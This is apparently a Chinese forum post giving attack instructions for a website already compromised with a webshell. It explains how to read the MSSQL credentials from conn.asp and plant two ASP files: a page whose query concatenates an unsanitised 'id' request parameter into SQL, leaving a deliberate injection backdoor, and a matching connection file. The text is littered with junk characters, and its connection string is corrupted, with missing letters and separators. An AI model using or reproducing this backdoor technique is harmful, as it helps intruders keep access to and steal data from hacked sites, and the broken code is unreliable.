首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
: [+ \& g# n6 i u2 _ASP/Visual Basic代码4 A2 H/ |. u6 I1 n- j
<!--#include file="xx.asp"-->
1 G( h1 e& K' B# I<% / k" `# q6 p2 o2 {3 Z
set rs=server.createobject("ADODB.recordset") & E# R; j) k" V8 V7 W+ l2 c
id = request("id")
( c$ V$ j+ B+ f7 @7 MstrSQL = "select * from admin where id=" & id
/ Y) U; w5 m5 ^9 Qrs.open strSQL,conn,1,3 & U. W6 }6 Q' e0 H6 ^
rs.close # ~4 h+ Y0 q# b7 D& }$ W
%> ; T8 Z1 M5 D6 a: i- \' m0 H& l
把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!, K! i2 L! Z1 [: K" |! _
然后就要构造一个连接数据库的文件了,代码如下:
+ _! e+ r U- _1 E$ U2 _ASP/Visual Basic代码
4 K0 I8 _9 n6 Q3 L9 u; l0 ~+ l+ |<% / Y5 h( m7 V3 C, M* V
strSQLServerName = "000.000.000.000" '服务器名称或地址 1 _, X8 J& l! t G8 I
strSQLDBUserName = "sqlname" '数据库帐号 4 g0 E# Y/ ^' ~: l7 k
strSQLDBPassword = "sqlpass" '数据库密码
9 }) j3 G" s* ~* |strSQLDBName = "sqldataname" '数据库名称
7 F6 k0 _. ^) G# A7 l# kSet conn = Server.CreateObject("ADODB.Connection")
- V+ p; w% H# F5 j# ?( A8 Y4 xstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" / @" f' H0 U* z) |) h
conn.open strCon
! F! M( x5 d+ ?1 o' i; V' m+ A5 ~%> 7 Z a/ e( x3 [+ R
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功9 T+ r5 N( I/ k' Z" @
|